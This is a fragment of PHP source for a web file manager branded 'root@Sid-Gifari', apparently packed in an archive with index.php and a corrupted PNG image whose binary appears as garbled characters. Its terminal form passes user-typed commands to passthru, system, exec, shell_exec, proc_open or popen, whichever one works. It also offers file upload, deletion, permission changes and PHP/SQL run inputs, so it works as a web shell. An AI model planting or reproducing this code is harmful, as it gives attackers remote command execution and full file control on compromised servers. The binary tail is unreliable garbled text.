isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd; } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') { $dir = $cwd . DIRECTORY_SEPARATOR . $dir; } $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $cwd = $realDir; $output = "Changed directory to " . htmlspecialchars($realDir); } else { $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory"; } } else { if ($canExecute) { chdir($cwd); $cmd = $cmdInput . " 2>&1"; if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { // Using proc_open as fallback $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($cmd, $descriptorspec, $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } else { $output = "Failed to execute command via proc_open."; } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } else { $output = "Failed to execute command via popen."; } } else { $output = "Error: No command execution functions available."; } } else { $output = "Command execution functions are disabled on this server. Terminal is unavailable."; } } } if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']); if (!isset($path)) $path = $cwd; ?> <strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br> <pre><?php echo htmlspecialchars($output); ?></pre> <form method="post" action="<?php echo $url_inc; ?>"> <input type="text" name="terminal-text" size="30" placeholder="Cmd"> <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" /> <input type="submit" name="terminal" value="Execute"> </form> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PK Y�\ index.phpnu ��� PK Y�\j��Y[ [ Screenshot (6)_1708339338.pngnu ��� �PNG IHDR G �`; sRGB ��� gAMA ���a pHYs � ��o�d !tEXtCreation Time 2024:02:19 16:05:53�3G* �xIDATx^��7�� m)Pwwo����*-uwwww/uwww�ԩ��~p�fw�{��'w���[�f��d&�L:u��r�a�a�a � �0�0�0bc��a�a�a�1E�0�0�0�Ę"a�a�aFbL�0�0�0#1�H�a�a��S$�0�0�H�)�a�a�a$� �0�0�0c��a�a�a�1E�0�0�0�Ę"a�a�aFbL�0�0�0#1�H�a�a��S$�0�0�H�)�a�a�a$� �0�0�0c��a�a�a�1E�0�0�0�Ę"a�a�aFbL�0�0�0#1�H�a�a��S$�0�0�H�)�a�a�a$� �0�0�0c��a�a�a�1E�0�0�0�Ę"a�a�aFbL�0�0�0#1�H�a�a��S$�0�0�H�)�a�a�a$� �0�0�0c��a�a�a�1E�0�0�0�Ę"a�a�aFbL�0�0�0#1�H�a�a��S$�0�0�H�)�a�a�a$� �0�0�0c��a�a�a�1E�0�0�0�Ę"a�a�aFbL�0�0�0#1�H�a�a��S$�0�0�H�)�a�a�a$� �0�0�0c��a�a�a�1E�0�0�0�Ę"a�a�aFbL�0�0�0#1�H�a�a��S$�0�0�H�)�a�a�a$� �0�0�0c��a�a�a�1E�0�0�0�Ę"a�a�aFbL�0�0�0#1�H�a�a��S$�0�0�H�)�a�a�a$� �0�0�0c��a�a�a�1E�0�0�0�Ę"a�a�aFbL�0�0�0#1�H�a�a����u��)���TWW�kF{ҩSM�T�n�� ����p�r��}��XZ�����"�5V_٭���n�˺>}�s�;w��'Nt��{�շ�˯�!�o���z=ViPn�Xb�0����_�M;�4���V��?����x���0+�*�)e�_��n��W�e��u={�� �ʍ7� �{��g/��&M�^Qy�w��V[u�[w�5�0�f�ޮK���:7���O>�z����Wtl(tH�^�z�,=������z�/XVZu#���ÐC��;�u֙�,3���s�ε�K��:L�R��G���o���ƌ��+�ܿ_Y����`]]�}��}�?��q�/4 ����4�~O�����Hw��W�?|+�-���g�9]�n]�y�N&L�(��g�Ͼt�Te�T��iK�~g����λ��7�&��x�����?�<n���q3��_�uCC���˯ݰ��~�)<��L7ݴ��L�0!�Ӿ�Yf���*�3���3��k��T�����?���_|�~���0�'��3�4��c�������z^��]w�N��SO??��f��9�M� ZW��3��;d_�ӎ��7�ђg;�$���τ{�Ϝs��<|�ݶ[hY�Q�>sz��V��{J���s���k��W��w�-vr���T)�t��^x~����J��M˙ɓ'k]�ŗ��G}Z1e�?�H��T�/4�[h���5��R�����������pK.�X�77�'�|�����+&���k��:� ��#�>MMM��knrǝp�ƷҬ*�-m����_��R���~3.n�f�y�r�.���ye��d�Yg�B�PZf��}��[�R�٧ �`i ��-X��7��\v�u�Î�Z@�E��?������sn\�f�y�vU`�on�� ���-� ��;�>s.P����^{�{�ý�!�FiՒ�����sz��;������Z}��ܠ�6�4!��cذw�9�]�}��pO~:g���~C3�8� �l� ϊ�2����x]݀�7p#F�^��=�צ�C�~����pߴ-��|\d�0��p��]�-��|���3Ϝn6I�nݺ�g%㣏>qw����Ŗ�4`,��|Z�i�&J����ָ��S��E����L�KIOX��<���6Qy��b+��� �BXD�XN�5 M�?�h]�Ŗ[l�N;�h�ƛ#ܛo�-ˈD ?I������Ǎ;λ�&=�4ӱwoU���t�^�n�����w�gp=z��k���w�Mw�zR��I'��{�:*��p��wDY�T���O=����̗.��*w�ѧ�[����}�Y�>�k��CEA��Pa�����O���/���6�� Xa���r(_���0w��w�|����B�� �\�BV)`)h� T^@�O;��E��؝��vR�}�%7x�=��2��R��K.<S��|���nЖ;WT��n��m?d�p�2 �b'UNV^iy���˸VXZ�ʥ�B)�7���n��Qា 4\{ͅ��M�Y.6�|Gm��w�]%�o�|_�QLA��>��-����V��!`ȶ[j�/��>L��W_}�i a�}� ���R)��Xl�մ�.)�i��w֖AZۓr�=���=<����F� xL 8� �Dž�2e��=����-7]!�/Y�y�<��ͷ���o!ũ~��*�=������6�,���p� F����d-��Q����|��^;�>�����:�١�c?J2uzRz��� �����tA���ZsU�ۮC�LAII'�"q����n���ߡR(o��AIz�w�~kw��W�[A ���'O�4d��ӱ��Z�.J�$�&K.�f�z!{�;U*��v��u��J.��n���;�#KV^zٵ���O�rC>���k��8�� �J�ߐ�p;ٺY�����E }��=��_�HP��,,��Z��üRI�����_xŭ����Vr�`o�� 5*�W^yӭ��6Y+�b�r�09�=��yZ�i����7�)�C��[�V�V�b �x�\gs���{Z���k�'�;�*?���C���O���L���\y� �� ��ϒK.�N>�H7p� ��>ҡQ`�Cܛo����߾��+.;'�*/�L��D? ����?��D&٠"[c�Aښ��Ы/t{��"�Dž�ʠl����z��9���ɧ��]vIw�Q���]��Y>�<���v���q��� 4o���ͭ�qx���V��0�p{��o��L�1W�e�m�.;o����(�H h���'N��>���fł_�������(}(�<O\h\�n��n����/%�z�}Ah&���K �6�x>.<�4w�!��[Ɉ~�x8�ô���ޣt�)��~o���O�{J�T鵉�������ݸ�q�}��{�{ݥ���w���Q"�7��k�Yy���*V���W_��t�e%d"�_y�wЁ{6ݎO>v�v�V�D!�4-���UZ� ����5�а���k���?U%���T��E���.������~QMvJ���<��-j� �ӕ����J�DP�������(Z���[�=x��mZ��]f�p-�G����礼��G�����-6ߤ�J��n��Ҭ���F��H��Q���cl�ۓ>�X��{�}��;��ȫD��3N�5�7 "u��w^��Qb��Ƨ��P��$J #�x�,J��4��d��}�,J�@�x��ַ,��_���Aɾ��K�g��t;�8�dJА|�mWL:�"����p�iǩ��/��oG��~�Vw��k��ҋ'.`3����{�T�.h�{�C�U<�(:�lI�,�K� ��f;�]�}�ķ�/��g�՚J �/�X�&�T��qx���õ��]w\�F��� ��As�L*�_ � 3x�AZ^,�����@#Iz�cz|�o����1,���Cs�'g�ֶ��v�o��Q��o{��g4�1έTl�Uk���У~���[�i�4�YB\�!���|s�{���ł���/<����TЀ��y.8����z1#0g�qN1��t���/>��~�2�|�Q�K�8���s�>I���=D[�Q,J�OF���+���r�Xc;]��Z�R�*f��ˆ[�c�� �*�av��ۛ��=ky�[���ƕ�^l����;m�F�|]��J�-x���J��0��3*3��r��AH�_|a�3W��b�.�Ň��|���Ί0�.s<&�>�u�w�\@6J-�3�}�� ��q�鸆�t�P_*��(���֫9��F��]3�J�a��eN��t��Yf�p�5X<�6F�S��\_'F]�BU ��u���[���+x�(7�JN��%�r��9z;�%3�Ls�Rr��DŽk��#��¡q!0��4u�U���^�C%��螥!������y���Z�}=�$��6�Q(e�Y9 n�뾦(���/�18�o=b�9�3�)�-�xcJ >�q��ٚ^��~_>��/��ꮽ�p+���ƈ�+(7\wi�Ƨr��~NPT}�y��[�!�N��&<���|�U�c�ܡ��g"���+�_,7I�G��)�0��>r_% S �m�]�`6U�w��ď?���?�{Kg�E(�r��w���� �*E��b�k�9�f��$�X�Y��5��J���|P�-!z%�4�����d� T>�<��s��SWn2�y� 